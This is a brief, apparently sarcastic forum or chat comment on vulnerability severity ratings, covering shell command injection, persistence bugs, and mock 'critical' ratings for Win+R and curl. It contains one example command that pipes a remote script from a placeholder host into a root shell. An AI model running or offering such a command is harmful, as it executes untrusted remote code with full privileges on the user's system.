So, if someone asked me what one of the most dangerous things to do in a program was, I'd rank "sending untrusted user input to a OS command shell" would be top 3
And that's solely because I can't think of anything more dangerous off the top of my head
it's not like those persistence vulns that require admin on the box and newbies cry "useless! you need admin!" and forget that without persistence you'd had to exploit the box after every reboot.
I would say that Win+R is a 10 too, because it let attackers executed untrusted code...
and curl too! it let run remote code as root: curl example.com/bad.sh | sudo bash
